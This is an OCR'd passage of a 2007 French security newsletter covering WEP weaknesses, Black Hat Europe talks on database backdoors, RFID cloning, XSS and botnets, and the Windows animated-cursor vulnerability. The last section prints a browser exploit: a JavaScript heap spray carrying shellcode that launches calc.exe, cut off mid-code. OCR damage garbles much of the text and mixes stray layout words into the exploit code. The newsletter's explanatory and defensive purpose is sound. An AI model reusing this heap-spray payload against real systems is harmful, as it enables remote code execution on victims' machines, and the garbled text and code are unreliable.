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L'EDITO

Du terrorisme a la cybercriminalite...

Nul n’ignore la montée du terrorisme
en France ainsi qu’en Europe, et plus
encore, en cette période d’élections...

Le terrorisme s'appuie sur différentes
composantes : l'idéologie, le finance-
ment et la mise en oeuvre technique
des opérations qu'il estime "indispen-
sables" pour atteindre son but. L’as-
sociation des idéologues, des finan-
ciers et des experts techniques sera
donc toujours nécessaire.

Il se trouve que les terroristes demeu-
rent focalisés sur la destruction des
vies humaines. Mais qu'en serait-il si
ces derniers s'en prenaient aux tech-
nologies elles-mémes ? Est-il possible
un jour de voir la menace évoluer vers
une sorte de guerre technologique ?

Le lien entre le terrorisme et le hack-
ing préoccupe. Pour le prouver, l'in-
troduction de la conférence Black Hat
2007 a Amsterdam a été présentée
par Roger Cumming du CPNI (Center
for the Protection of National Infra-
structure), I'une des instances anti-
terroristes anglaise.

Il 'y était question de terrorisme, de
protection des infrastructures nationa-
les et de la « compartimentalisation »
des compétences et des intéréts qui
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pourraient mener I'utilisation de pira-
tes informatiques par des réseaux
terroristes.

Qu'en est-il de l'utilisation de la télé-
phonie sur IP, des passeports RFID,
du Wifi dans les avions et des acces
de télé-maintenance ?

Avec le chiffrement des flux et des
conversations, la surveillance des
activités illicites devient de plus en
plus difficile...

Peut-on imaginer une attaque qui ne
viserait que des infrastructures tech-
niques, mais qui aurait, cependant,
des conséquences dramatiques ? Et
si un déni de service frappait une
grande place de marché ? Quelles en
seraient les conséquences ?

Jusqu'a présent, la sécurité informati-
que s'est focalisée sur les risques

d'intrusion, et sur une forme de cyber-
criminalité¢ financiere, dont I'enjeu
principal serait le vol ou le détourne-
ment de fonds. Les enjeux politiques
n'ont envahi la toile qu'a travers des
forums ou des blogs, souvent éparses
et non structurés. Mais le risque d'une
instrumentalisation des technologies
subsiste et ne peut plus étre ignoré.

Il est particulierement délicat d'estimer
ce genre de menaces, d'autant plus
gu'elles ressemblent & de la pure
science fiction. Pour autant, il serait,
malgré tout, intéressant de réfléchir a
ce type de risques pour identifier les
maillons faibles et ce afin de les ren-
forcer : que chaque banque s'assure
gu'elle ne puisse pas héberger invo-
lontairement une plate-forme de blan-
chiment d'argent qui servirait a finan-
cer du terrorisme et qu’elle s’assure
que les infrastructures les plus criti-
ques soient surveillées sans relache...

Chacun de nous peut servir l'intérét
commun, en respectant les regles de
base et en les enseignant a ceux qui
les ignorent encore...

Marc Behar

“;‘ Etat de l'art.........ccooeveeeveceeeeeceee

Présentation des faiblesses du WEP et des méthodes utilisées par les pirates

& . o
®Dossier Spécial Black Hat 2007 ...............
Présentation des sujets de la conférence Black Hat 2007
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Description et analyse des attaques les plus importantes du mois.

Découvrez les outils les plus efficaces.
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Le fonctionnement du WEP
Le WEP : Wireless Privacy Protocol (ou Weak
Encryption Protocol...)

Le WEP est une norme IEEE 802.11 élaborée en 1999 dans
le but d’offrir aux réseaux sans fils un moyen d’authentifica-
tion, de confidentialité et de contréle d’intégrité.

La premiere propriété du WEP est d’assurer le chiffrement
des données lorsque ces dernieres sont transmises par
ondes radio. Tous les paquets sont envoyés au point d’ac-
ces de maniére a ce qu’un pirate ne puisse pas lire (en
théorie) le contenu des informations transmises.

La plupart des internautes l'utilise sans le savoir et surtout,
sans connaitre son mode de fonctionnement, aujourd’hui
remis en cause.

Le chiffrement des données

Le WEP utilise I'algorithme de chiffrement RC4 avec des
clefs d'une longueur de 64 ou 128 bits. Ces dernieres se
composent d’un secret partagé, que nous nommerons K (de
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Le chiffrement WEP devient tota-
lement obsoléte...

La sécurité des réseaux Wifi est
une problématique cruciale qui in-
téresse les pirates et les spécia-
listes en sécurité.

En effet, la confidentialité des
données, l'accés non délimité phy-
siquement et distant aux équipe-
ments, posent de véritables soucis.
Bien que la technologie Wifi reste
relativement récente, les mesures
utilisées pour protéger les données
échangées sont de plus en plus dé-
criées, testées et remises en cause
par les pirates et les experts.

Le chiffrement WEP est un trés bon
exemple. Il est devenu complétement
obsoléete avec la publication d’un
nouvel outil et pourtant il demeure
utilisé par les particuliers et
certaines entreprises.

Ce mois-ci, nous présenterons les
faiblesses du protocole WEP ainsi
que les techniques d’attaques uti-
lisées par les pirates. La seconde
partie de cet article sera proposée
le mois prochain. Elle illustrera
ce phénoméne avec des exemples pré-
cis et un tutoriel complet sur
l'utilisation de la suite Aircrack
sous Unix et sous Windows.

XMCO | Partners

40 ou 104 bits), entre le point d’acces et les différentes
machines du réseau auquel on concaténe une chaine aléa-
toire de 24 bits appelée: “vecteur d'initialisation” (1V).

Nous obtenons ainsi une chaine de 64 ou 128 bits :

Vecteur d’initialisation de

24 bits Clef secréte de 40 ou 104 bits

De maniere simplifiée, cette clef de 64 ou 128 bits va étre
chiffrée avec l'algorithme RC4 pour donner un flux nommeé
"keystream".

Keystream

RCA \/ . 10101010111101101010101010

Une simple opération XOR (OU exclusif) va ensuite étre
réalisée entre le flux chiffré et les données a envoyer (MC) ,
auquelles un contréle d'intégrité (CRC32) aura été préala-
blement ajouté (ICV(MC)).

La formule mathématique est donc :

Vecteur
diinitialisation de 24|| Clefsecrétede 40 ou 104 bits

PC = RCA4(IV Il K) XOR (MC Il CV(MC))

[3]
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PC=Paquet Chiffré

IV : Vecteur d’Initialisation

MC : Message en Clair

ICV(M) : Contréle d’intégrité du message M

Les données chiffrées seront, ensuite, envoyées avec le
vecteur d'initialisation en clair.

Principe de chiffrement via le protocole WEP N

Vecteur )
dinitialisation de Clef secréte d‘irﬂ ou 104 bits
24 bits (Iv) 8

( RC4 ) Chiffrement RG4
\ J
\I_/

Keystream (RC4 (IV || K))

1

Données & chiffrer (MC) é{\ CRC (CV[MC))

MC || (CVIMC]) 1

Vecteur
d'initialisation de
24 bits

“

Opération
« OU Exclusif »

—1’ XOR )

Données Chiffrées

Paquet envoyé (PC)

Ainsi la machine destinataire va utiliser ce vecteur avec la
clef qu'il possede pour effectuer I'opération inverse : le dé-
chiffrement.

La sécurité du WEP repose donc sur un « mot de passe
secret » partagé entre les machines qui vont communiquer
et une chaine (vecteur d’initialisation) générée aléatoire-
ment lors du chiffrement des données.

Les vulnérabilités du WEP

Plusieurs problémes de sécurité ont été introduits par I'utili-
sation de ce protocole notamment en ce qui concerne |'au-
thentification, la confidentialité et I'intégrité des données.

Authentification

Le point d’acces identifie la machine qui souhaite se con-
necter en lui envoyant un challenge en clair qui devra étre
renvoyé chiffré. Un pirate qui écoute cette communication,
obtient donc le message en clair (MC) et son équivalent
chiffré.

D’un point de vue mathématique, il est possible de cerner
une premiere aberration. L'opération XOR est réversible.
L’opération A = B XOR C est équivalente a B=A XOR C. Le
pirate peut donc obtenir le « keystream » utilisé pour chiffrer
le message :

PC = RCA4(IV Il K) XOR (MC Il CV(MC))
A 3
\\ *

~ 4
\s ,

Connus
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Obtient donc :

RC4(IV 1l K) = PC XOR (MC Il CV(MC))

L’attaquant peut donc réutiliser ce « keystream » (sans con-
naitre la clef secrete) et s’en servir pour s’authentifier au-
prés de I’AP en chiffrant le nouveau challenge.

. &
/ Authentification illégitime auprés d'un point d'accés \\\

R

/ Internet

P
2]

Pirate

1. Envoi d’'un challenge en clair (MC)

2. Réponse Chiffrée (PC)

3. Envoi d’ un challenge en clair par le point d’acces

4. Réponse possible du pirate au challenge en utilisant un
“keystream” précédemment récupére.

Il pourra également chiffrer des requétes avec ce paramétre
et injecter ainsi des données sur le réseau. Il sera aussi a
méme de déchiffrer des paquets qui utilisent ce méme keys-
tream.

L’authentification n’est donc pas sécurisée. En effet, elle
introduit une faille qui permettra de casser la clef et de nuire
a la confidentialité des échanges. Les éditeurs ont donc
rapidement introduit le filirage par adresse MAC ou la dis-
simulation du SSID qui restent des techniques faciles a con-
tourner.
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Confidentialité et intégrité

D’autre part, pour utiliser correctement le chiffrement RC4,
il est indispensable de suivre ces trois principes :

Ne jamais utiliser une méme clef deux fois de suite pour
chiffrer les données échangées.

MNe pas utiliser les 512 premiers octets de la sortie RC4
pour éviter les problémes liés a I'utilisation de clefs faibles.

Ne pas chiffrer plus de 2A36 octets de données avec la
méme clef.

Or sur un réseau ou le trafic est élevé, seul le vecteur d’ini-
tialisation aléatoire de 24 bits permet d’éviter la répétition de
clefs. Une collision de clefs est donc possible a 99% avec
seulement I'envoi de 12000 trames. La premiere régle n’est
donc absolument pas prise en compte.

Dans le cas ou un message est chiffré avec la méme keys-
tream RC4, on obtient :

PC = RC4(IV Il K) XOR (MC Il CV(MC))
PC’ = RC4(IV Il K) XOR (MC’ Il CV(MC"))

PC XOR PC’ = (MC Il CV(MC)) XOR (MC’ Il CV(MC"))

Toutes ces erreurs d’'implémentation sont intégrées dans le
le protocole WEP. Elles deviendront la base de I'attaque en
question...

Enfin, le CRC32 utilisé n’est pas un contréle d’intégrité effi-
cace car il peut facilement étre contourné.

Les différentes attaques contre le protocole WEP
Evolution des recherches

Plusieurs styles d’attaques ont été proposés. Ces derniers
ont évolué pour aboutir au succes présenté dans I'encadré.

Les premieres recherches ont été menées en avril 2001 par
Scott Fluhrer, ltsik Mantin et Adi Shamir. Ces experts ont
publié une analyse cryptographique qui dévoilait les faibles-
ses du flux généré par I'algorithme RC4 notamment avec le
WEP. En effet, leur étude prouvait que pour certaines va-
leurs de la clef, les premiers bits du keystream dépendaient
uniqguement des quelques bits de la clef. Certaines valeurs
de cet IV généraient alors des clefs dites faibles.

Peu de temps aprés, des démonstrations ont prouvé que
ces faiblesses pouvaient étre exploitées en capturant de 4 a
6 millions de paquets.

Quatre ans plus tard, un hacker nommé KoReK a amélioré
cette attaque. Cinq cent mille a 2 millions de paquets étaient
désormais nécessaires pour casser la fameuse clef WEP.
Un premier outil, nommé ChopChop, était né...

Dans le méme temps, un ingénieur frangais, Christophe
Devine, a développé l'outil le plus utilisé aujourd’hui. Des
paquets sont réinjectés ce qui permet de diminuer sensi-
blement le temps nécessaire a la récupération des IV fai-

© xMCO Partners - 2007

bles. La premiére suite d’outil « Aircrack » est alors publiée
sur Internet et permettait déja d’atteindre des temps records
(10 minutes pour une clef de 128 bits en laboratoire). Des
études statistiques évoluées permettaient au logiciel de
casser une clef rapidement.

En 2005, Andreas Klein, chercheur au sein du laboratoire de
Cryptographie et d’Algebre Informatique a [luniversité
Darmstadt en Allemagne, a présenté une autre analyse du
flux RC4. De nombreuses corrélations entre

les paquets chiffrés et la clef sont

identifiees. Des études statistiques

montraient alors qu’en récupérant

quarante mille paquets, la clef pouvait

étre retrouvée avec 50% de chances.

Enfin, en avril dernier, trois chercheurs de la

méme université ont optimisé les recherches de M.Klein. lls
ont développé un outil et ont réussi a casser une clef en
moins d’une minute (voir encadré). Avec quelques dizaines
de milliers de paquets, la clef peut, désormais, étre crackée
avec une probabilité élevée.

INI0)...

Une clef WEP cassée en 1 minutes

Le 1ler avril dernier, des chercheurs de l'université de
Darmstadt ont développé un outil “aircrack-ptw “ qui a
atteint des performances inégalées.

Ils sont parvenus a casser une clef en moins d’'une minute
en utilisant des techniques d’injections de paquets.

Seuls 40 000 paquets sont aujourd’hui suffisants pour
casser une clef WEP avec 50% de chances. Cette probabi-
lité s'éleve a 95% pour 85 000 paquets.

Cependant, certains contestent ces chiffres. En effet, ces
temps records ont été obtenus dans un environnement de
tests.

La nouvelle a rapidement fait le tour du monde...Le WEP
devient définitivement obsoléte...

Prérequis

Le « cassage » de clefs WEP requiert une configuration
précise des cartes réseaux utilisées. En effet, le pirate va
devoir capturer des paquets chiffrés en écoutant certains
canaux utilisés par les machines qui émettent des données.
La carte Wifi doit donc étre en mode « monitor » ce qui né-
cessite d’installer des pilotes particuliers.

Sous Windows seules quelques cartes Wifi peuvent étre
configurées de la sorte.

En revanche, de nombreux pilotes libres ont été publiés
pour les cartes utilisées sous Linux.

Une fois la bonne carte Wifi correctement configurée, il suffit
d’utiliser la suite « Aircrack » composée de trois logiciels.
Toutes les conditions sont alors réunies pour €écouter, re-
jouer des paquets et casser une clef.

[5]
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L’écoute passive et la récupération des 1V fai-
bles

La premiére partie de I'attaque consiste a récupérer un
grand nombre de paquets chiffrés. Sur un réseau passif, les
données échangées ne sont pas forcément nombreuses. Le
pirate a deux possibilités : attendre ou stimuler le réseau
grace a plusieurs techniques.

La premiere est nommée « rejeux de paquets ». Elle con-
siste a récupérer certains paquets identifiables (requétes
ARP) qui vont ensuite étre ré-injectés dans le but de forcer
le point d’accés a générer des réponses contenant des
données intéressantes. Les données ARP présentent des
tailles fixes et possedent des entétes connues.

La deuxieme souvent utilisée est la « fausse authentifica-
tion » qui consiste a simuler une authentification de maniére
a générer des données toujours utiles pour accélérer les
échanges de données sur le réseau.

Cassage de la clef

L’outil Aircrack intervient dans cette derniere étape. Basé
sur différentes attaques statistiques, le logiciel utilise des
trames contenant des IV faibles récupérés précédemment.
Des votes sont ainsi attribués a chacun des octets proba-
bles et la clef est déduite des probabilités émises.

Ou en sommes-nous dans la sécurité des réseaux sans-fils ?
Des statistiques toujours aussi surprenantes

La prise de conscience des particuliers et des entreprises
des différents dangers font qu'ils sécurisent leurs réseaux
sans fil. Cependant, les chiffres restent surprenants. Une
récente étude a révélée que 70% des réseaux sans fil dans
le monde n'utilisaient aucun mécanisme de chiffrement.

A Paris, le constat est moins alarmant. Seulement 37% des
réseaux ne sont pas protégés. Notre capitale s’avere étre
I'une des villes les mieux sécurisée au monde, contraire-
ment a Pékin ou Moscou ou les statistiques s’inversent.

Les meilleures pratiques et les futures implé-
mentations

Aujourd’hui des solutions simples existent. En effet, bon
nombre de fournisseurs d’accés préférent encore garder le
WEP. lIs proposent certes des méthodes de rotations de
plusieurs clefs, ce qui ne constitue pas la bonne solution.
D’autres évoluent évoluent et intégrent le protocole WPA-
PSK (Pre Shared Key). Ce dernier utilise un vecteur d‘initia-
lisation plus grand que le WEP ce qui empéche les types
d’attaques que nous venons de vous présenter.

Il est conseillé de migrer rapidement les réseaux Wifi proté-
gés par WEP en WPA. Cette migration peut étre faite sans
surcolt en choisissant le WPA-PSK.

Cette solution repose, comme le WEP, sur le partage d'une
clef secrete. En WPA la clef est composée de 8 a 63 carac-
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téres ASCIl. En
adoptant une clef
suffisamment lon-
gue,

toutes les attaques
de cassage de clef
par force brute
sont inutiles.

Pour élever le ni-
veau de sécurité
dans les entrepri-
ses, il serait judi-
cieux d'abandon-
ner la protection
par clef partagée
au profit d’ une
authentification
forte.

Le support de la
norme 802.1x est l'une des améliorations apportées par le
WPA.

Par ailleurs, limplémentation de la norme 802.11i, égale-
ment appelée WPA2, n'est pas sans conséquence. En effet,
la norme repose sur l'utilisation de l'algorithme de chiffre-
ment AES. Ce dernier implique une puce dédiée et une ali-
mentation électrique accrue. Les équipements anciens ne
sont donc pas compatibles et/ou ne possedent pas les res-
sources suffisantes pour utiliser le protocole AES, gros con-
sommateur de ressources.

Que ce soit du WPA ou du WPA2, nous recommandons aux
particuliers d'utiliser une “passphrase” d'une vingtaine de
caracteres. En effet, celle-ci ne doit étre renseignée qu’une
seule fois sur le point d'acces et sur les ordinateurs. Pour
les entreprises, limplémentation d'une authentification forte
est particulierement recommandée.

D' une part, les petites structures choisiront d’implémenter le
protocole "EAP-TLS" qui repose sur une PKI avec un ser-
veur RADIUS. Cette méthode nécessite la présence d'un
certificat sur chaque machine.

D'autre part, les grandes groupes préféreront les protocoles
"EAP-TTLS" ou "PEAP" grace auxquels les utilisateurs peu-
vent s'authentifier a I'aide des couples login/password.

Clonclusion

Le protocole WEP était blessé depuis quelques années
mais les derniéres recherches I'ont définitivement enterré.
Des erreurs d’implémentation font que la plupart des acces
sans fil ne sont pas sécurisés et laissent aux pirates un ac-
ces potentiel au réseau local...

Le mois prochain, nous vous proposerons des exemples de
cassage de clefs WEP. Le fait que les attaques puissent
étre menées par des jeunes inexpérimentés, devrait forcer
les entreprises et les particuliers a sécuriser davantage
leurs acces sans fil.

Bibliographie

b [1] Définition du WEP
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Black Hat

digital seif defense

Evrope 2007
Caton Sorvices

Comme a son habitude la Black Hat, conférence tant atten-
due par les spécialistes du milieu, a proposé de nombreu-
ses présentations et de nombreuses démonstrations dans
des domaines variés : réseaux, bases de données, postes
clients, technologies sans fil... Chacun des participants pou-
vait y trouver son compte. Petit tour d’horizon...

Les technologies sans fils

Wi-fi Advanced Fuzzing

Comme nous vous I'avons présenté dans I'article précédent,
l'insécurité du WEP n’est plus a démontrer. Les cher-
cheurs s’activent aujourd’hui pour trouver d’autres er-
reurs d’implémentation et d’autres failles de sécurité
relatives aux équipements Wifi qui pullulent. Les
“smartphones”, les téléphones mobiles et les consoles
de jeux sont les nouvelles cibles. Le business des pira-
tes dans ce domaine est donc loin d’étre épuisé.

Jusqu’a présent les recherches des experts se basaient
sur l'audit des codes sources mis a disposition (pilotes
libres), sur du reverse engineering (analyse) ou en audi-
tant les équipements ciblés sans avoir connaissance de
leurs modes de fonctionnement (Blackbox).

Aprés les récentes vulnérabilités des pilotes Wifi pour
Mac OS (derniere Black Hat) et les différentes failles de
sécurité des drivers de plusieurs éditeurs (D-Link, Netgear),
Laurent Butti, expert R&D chez France Telecom a présenté
ses récentes recherches sur un procédé peu utilisé dans le
milieu des réseaux sans fil : le « fuzzing » utilisé pour
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Black Hat 2007 a Amster-
dam

La grande conférence de tous
les spécialistes en sécurité
s’est déroulée a 1la fin du

mois de Mars a Amsterdam.

Deux fois par an, les pira-
tes, RSSI, et experts en sé-
curité se rencontrent afin
d’échanger leurs expériences
et de présenter les derniéres
vulnérabilités découvertes.

Petit apergu en exclusivité
des présentations les plus
marquantes et qui auront,
sans aucun doute « secoué »
quelques éditeurs..
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identifier des failles potentielles au sein des pilotes Wifi.

Le fuzzing est une technique qui consiste a envoyer un
grand nombre de données malformées ou aléatoires avec
des outils automatisés. Ceci permet d’identifier les erreurs
de traitements sur la machine ou sur I'’équipement ciblé.

Dans le cas du Wifi, des expériences ont donc été menées,
en envoyant des réponses malicieuses aux requétes PRO-
BES (envoyées par les machines dans le but de détecter
des points d’acces).

Fuzzing Wifi

La machine émet des
requétes malicieuses vers la
machines test

La machine émel des e —
requétes PROBES afin
d'obtenir le ESSID des Point
d'acces —

Lien Ethernet

Machine utiisant le fuzzer

Machine testée

Dés qu’une erreur se produit, il suffit de vérifier si des re-
guétes Probes sont toujours émises, écouter sur un lien
Ethernet les réponses au requétes PING ou observer les
réactions de I'affichage des OS (écran bleu pour Windows).

[7]
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Les trouvailles de ce chercheur ont été révélées au grand
public. En envoyant des SSID excessivement longs, des
informations sur le débit (rate) malformés ou des parame-
tres TIM contrefaits, différents pilotes Wifi Netgear ou D-Link
se sont avérés vulnérables. Méme remarque pour le pilote
MadWifi, utilisé afin de casser les clefs WEP (voir notre arti-
cle précédent) vulnérable a un débordement de tampon (les
hackers sont pris dans leurs propres piéges !).

RFIDIOts - RFID hacking without a soldering
iron

Apres les équipements réseaux Wifi, les démonstra-
tions ont également ciblé la technologie RFID. Celle-ci
est de plus en plus utilisée dans la vie quotidienne
(identification des animaux, gestion des stocks et des
bagages, vente, implants sur des humains, passe-
ports...). Le RFID, déja critiqué I'année derniére (voir
article dans Actu-Sécu n°6 - Septembre 2006), a , une
fois de plus été présenté comme un vecteur d’attaque
dangereux.

La démonstration s’est basée sur un outil téléchargé
sur Internet ainsi que sur un lecteur standard. Adam
Laurie a pu cloner une puce RFID en utilisant une
technique de décodage des Tags qui permet de copier
le fameux parameétre ID. L’expert affirme avoir étudié
uniqguement les modes d’emploi des éditeurs. Il peut
désormais «sniffer» les numéros d’identification en
passant a quelques métres d’une personne utilisant,
par exemple, un badge d’accés RFID.

Les lecteurs et les graveurs sont maintenant disponi-
bles a moindre colts sur les sites spécialisés. Cela
accroit considérablement le risque de malversations
et d’évolutions dans ce domaine de plus en plus étu-
dié par les cybercriminels (notamment pour la copie
de passeports).

Par la suite, I'expert a publié les codes sources de ses
scripts basés sur la librairie Python RFIDIOT. Le ma-
tériel et les pré-requis sont disponibles sur le site cité
en référence.

© xMCO Partners - 2007

Les bases de données et les progiciels de gestion
Hacking Databases for owning your data

Le second sujet phare de la Black Hat aura été le
hacking des bases de données et des systemes ERP.
La premiere trouvaille dans le domaine des bases de
données a été présentée par des consultants de la
société Argeniss (Cesar Cerrudo et Esteban Martinez
Fayo) qui ont développé une “backdoor” et un rootkit
pour les bases de données Oracle.

A l'aide du langage de scripts PL/SQL, les experts ont
démontré qu'il était possible de mettre en place un
moyen de communication entre une base de données
et un pirate en créant un processus caché qui utilise
les jobs planifiés d’Oracle.

Le script malicieux installe le logiciel espion qui ouvre
une connexion vers la console a I'aide de la fonction
UTL_TCP.OPEN_CONNECTION. Il recoit, exécute
les commandes regues et renvoie les sorties des re-
quétes. Ce dernier peut également étre dissimulé
avec un rootkit. La backdoor peut étre planifiée afin
d’étre lancée périodiquement. Cela permet de récupé-
rer une connexion perdue (seul I'agent sur la base de
données permet d’initier une connexion « reverse »).
Cet outil performant contourne les pare-feux qui ne
filtrent pas le trafic sortant.

Connexion entre la console et le serveur Oracle

Envoi les informations sur la base
de données piratée

e L
- Envoi de commandes

el —— @l
=R

Console en écoute sur un
port donné

Renvoie des sorties des

. . erveur Oracl
requétes demandées Serveur Oracle

La démonstration a été couronnée de succes. Malgré
quelques soucis techniques, la backdoor a été facile-
ment installée sur une base de données en exploitant
préalablement une faille d’injection SQL. Le pro-
gramme malicieux se connecte ensuite sur la console

[81]
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du pirate et peut alors récupérer lintégralité de la
base de données.

INF)...

Les bases de données, de vrais mines d’or
pour les pirates...

Les pirates s’intéressent de plus en
plus aux bases de données pour revendre
sur le marché noir des informations sen-
sibles. Des sites officiels réveélent les
prix moyens constatés

Adresse
Téléphone non publig
Date de naissance
Muméro de permis
Muréro de sécurité social
Historigue d'un compe en bangue
Téléphone portable
Casier militaire

Des outils sont méme disponibles et
permettent de calculer la somme poten-
tielle qu’un pirate pourrait obtenir.

AN L AL DAL
AL L AL AL

Swi pet ool ki t

Advanced Exploitation of Oracle PL/SQL

Toujours dans le domaine des bases de données, la
société NGS Software, renommée dans ce domaine,
a présenté des failles de sécurité au sein des procé-
dures stockées d’Oracle (PL/SQL). Pour simplifier les
explications, les procédures PL/SQL s’exécutent avec
des droits élevés, en utilisant des parameétres erronés.
Un pirate est donc en mesure de provoquer l'arrét
inopiné de la procédure.

Un curseur courant reste ouvert. Il peut donc étre ré-
utilisé par le pirate dans le but d’exécuter des com-

© XMCO Partners - 2007

mandes et d’accéder en lecture/écriture a la base de
données vulnérable.

Attacking the Giants : exploiting SAP internals

Aprés les bases de données, le progiciel SAP a éga-
lement subit les foudres de Mariano Nunez Di Croce
de la société CYBSEC. Des erreurs grossiéres de
sécurité notamment au sein du protocole RFC (Re-
mote Function Call) ont été dévoilées.

L’envoi de mots de passe simplement offusqués a
I’aide d’'une simple opération XOR ou ['utilisation illégi-
time de la fonction RFC_REMOTE_EXEC (qui permet
d’exécuter des commandes a distance) permettrait a
des pirates préparés de mener des attaques de type
« Man in the middle » en créant des serveurs SAP
malicieux.

Les postes clients

Nac@ack

Cisco SYSTEMS

Une autre présentation a été
menée par le duo Michael
Thumann et Dror-John
Rdcher sur le contournement de la technologie NAC
(Network Access Control). Le protégé de Cisco per-
met de contréler tout ordinateur avant de I'accepter
sur le réseau en vérifiant sa conformité avec une poli-
tique de sécurité précédemment définie (antivirus,
niveau de correctifs, état du pare-feu personnel, outils
non désirés...). L’acces au réseau est alors refusé a
un client non-conforme ou bien, ce dernier est tempo-
rairement mis en quarantaine sur un vlan dédié.

Utilisateur ‘il

Puoint d'accés
au réssau
o,

—— o,
- . EAPCUDP @=35% RADIUS HCAF
Security Plug-nsz || CTA j—— ) F-II i"
L f =
r 3 A e A
[ A
A I
Cisco Trust Agent Routars Serveur de
(83x72xx)|  politique de sécurité
Cisco Security Agent .l Editeur antivirus

F ¥

A
|

Monitoring

Un agent (Cisco Trust Agent) est installé sur le poste
client et communiquera avec les équipements du ré-
seau ainsi qu’avec un serveur.

Les deux consultants allemands ont prouvé qu’un
poste non Iégitime pouvait tout de méme accéder au
réseau. Deux erreurs d’'implémentation permettent de
forcer I'agent Cisco a envoyer des informations falsi-
fiées au serveur responsable de la validation.

Cisco n’a pas communiqué sur ce sujet et corrigera ce
probleme dans les mois a venir.

[91
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Attaque de déni de service distribué aprés avoir récupérer les commandes sur MySpace

Kicking Down the Cross Domain Door (One
XSS at a time)

A I'heure ou les failles applicatives (Cross Site
Scripting et CSRF) constitue les portes des vulné-
rabilités les plus exploitées (on dénombre plus de
3 sites sur 5 vulnérables a ce type d’attaque), Billy
K Rios et Raghav Dube ont présenté un outil
nommé XS-Sniper, un proxy qui permet de mener
des attaques évoluées.

Le principe est simple. Le pirate identifie un para-
métre non validé au sein d'une application web,
qui lui permet d’injecter un code Javascript exécu-
té ultérieurement par le navigateur de la victime
(définition d’une faille XSS).

Le script malicieux autorise la communication bidirec-
tionnelle avec le pirate. Ce dernier permettra d’en-
voyer des informations au pirate et facilitera ainsi
I’exploitation de la vulnérabilité.

La démonstration présente un exemple d’attaque me-
née a partir d’'un blog. Ces sites permettent aux utili-
sateurs d’insérer du code HTML et, par la méme oc-
casion, d’injecter ou de faire référence a un code Ja-
vascript malicieux. Une frame est alors générée par
ce script et servira de relais entre le pirate et le site
externe ciblé. Les deux spécialistes ont donc combiné
une attaque XSS et une vulnérabilité CSRF (voir notre
article du mois de janvier 2007) afin d’envoyer silen-
cieusement et a l'insu de la victime des requétes vers
un site bancaire.

New Botnets Trends and Threats

Apreés les vulnérabilités applicatives et les systémes,
d’autres chercheurs se sont intéressés a un phéno-
mene grandissant les « botnets » ou les réseaux de
robots en francais.

Les botnets sont des réseaux de machines compro-
mises qui permettent & des pirates de mener des at-
taques a grande échelle en envoyant des commandes
spécifiques. Le pirate communique avec ses machi-
nes zombies, le plus souvent a I'aide de canaux IRC.
Cependant, d’autres vecteurs sont de plus en plus
utilisés.

Jose Nazario a centré son étude sur les outils, les
techniques et les nouvelles méthodes de contrdle a
distance préférés des cybercriminels. Ainsi de nou-
veaux procédés de communication sont clairement
identifiables : protocoles SMB et SIP, diffusion de
messages instantanés, sites communautaires comme
Myspace ou encore utilisation du logiciel Skype.

La démonstration s’est d’ailleurs basée sur ce logiciel
qui est le leader du marché de la VolIP.

Les commandes sont ainsi noyées parmi des flux de
données Iégitimes qui les rendent indécelables.

© xMCO Partners - 2007

Machine zomble n*4 Machine zombie n*2

Enfin, les autres présentations se sont, entre autres,
intéressées a la fuite d’informations du protocole
SMTP, au piratage de Vista et aux attaques applicati-
ves les plus utilisées...comme un air de “déja vu”!

Clonclusion

Contrairement aux précédentes Black Hat, les présen-
tations se sont moins axées sur les problemes des
« end user » mais davantage sur des €éléments criti-
ques du systeme d’informations comme les bases de
données ou encore les progiciels contenant des don-
nées critiques.

Les menaces viennent effectivement du réseau in-
terne.

Référence :

2k [1] Site officiel de Black Hat
http://www.blackhat.com

2k [2] Informations sur la librairie Python Rfidiots
http://www.rfidiot.org/

' . BlackHat
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LES ATTAQUES MAJEURES ciouse dntomat:

Aprés un mois de Mars rela-
tivement calme, en particu-
lier pour les correctif
Microsoft (aucun publié),
des vulnérabilités “0-day”
ont été découvertes.

L'événement majeur du mois
AN i N correspond sans aucun
‘-”||!l}""':| doute aux deux vulnérabili-
L tés Microsoft ani" et
Wiih ik "DNS" qui ont réveillé les
5 responsables sécurité apreés
un mois de Mars relative-
ment calme (aucune vulnéra-
bilité Microsoft).

Explications..

XMCO Partners

Microsoft serein en mars mais actif en avril

Vulnérabilité des curseurs animés (MS-07- Y x
o GODE:
J PRTT

La premiére faille de sécurité a ciblé Iinterface gra- liEml.>

. . . . <body>
phique de Windows GDI (Gaphical Device Interface) <SgR§I/PT ereraee—"evaseriEtTs

et le traitement des curseurs animés "ani" mal-formeés. var heapSprayToAddress = 0x07000000;

En effet, cette vulnéra- |Momal Selec var payLoadCode =
bilité¢ a été Iargement unescape ("$uE8FC%$u0044%u0000%u458B%u8B
exploitée et reste un | Heb 3C%u057C%u0178%u8BEF%ul84F%u5F8B%u0120
P [ $u49EB%u348B%u018B%u31EE$u99C0%u84ACSu
des vecteurs d'attaques — . 74C0%uC107%u0DCA%uC201%uF4EB%u543B%u04
les plus dangereux. La | *°™"e " Baeramun 24%uE575%u5F8B%u0124%u66EB%u0C8B%usSB4B
victime doit simplement | ; %ulC5F%uEB01%ulC8B%u018B%u89EB%u245C%u
visiter un site malicieux L "~ C304%uC031%u8B64%u3040%uC085%u0C78%u40
o 8B%u8B0C%ulC70%u8BAD%u0868%u09EB%u808B
o R L _ %u00B0%u0000%u688BSuSF3CEuF631%u5660%u
contenant le fichier contrefait. F889%uC083%u507B%u7E68%UE2D8%u6873%uFE
98%uOE8A%UFF57%u63E7%u6C61%u0063") ;
Le traitement de ce curseur animé provoque un dé-
bordement de tampon qui laisse la possibilité au pi-
rate d’injecter des données malicieuses. Aprées la pu-
blication d'une premiére preuve de concept, plusieurs
versions d'exploits ont envahi les forums et les sites
spécialisés. Nous vous présentons, ici, un exemple de
page web qui déclenche l'exécution du programme
"calc.exe".

ShellCode permettant de lancer le
programme “calc.exe”

© XMCO Partners - 2007
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GODE:SUITE...

var heapBlockSize = 0x400000;

var payLoadSize = payLoadCode.length *
2;

var spraySlideSize =
(payLoadSize+0x38) ;
var spraySlide =
pe ("%$u9090%u9090") ;
spraySlide = getSpraySlide (spraySli-

heapBlockSize -

unesca-

de, spraySlideSize) ;

heapBlocks = (heapSprayToAddress
- 0x400000) /heapBlockSize;

memory = new Array();

for
{
memory[i] =
Code;
}

(1=0;i<heapBlocks;i++)

spraySlide + payLoad-

document.write ("<link rel=\"shortcut
icon\" href=\"riff.ico\">")

Lien vers 1’icone qui exploite la
vulnérabilité

wait (500)

window.location.reload()

function getSpraySlide (spraySlide,
spraySlideSize)

{
while (spraySlide.length*2<spraySlideSi
ze)

{

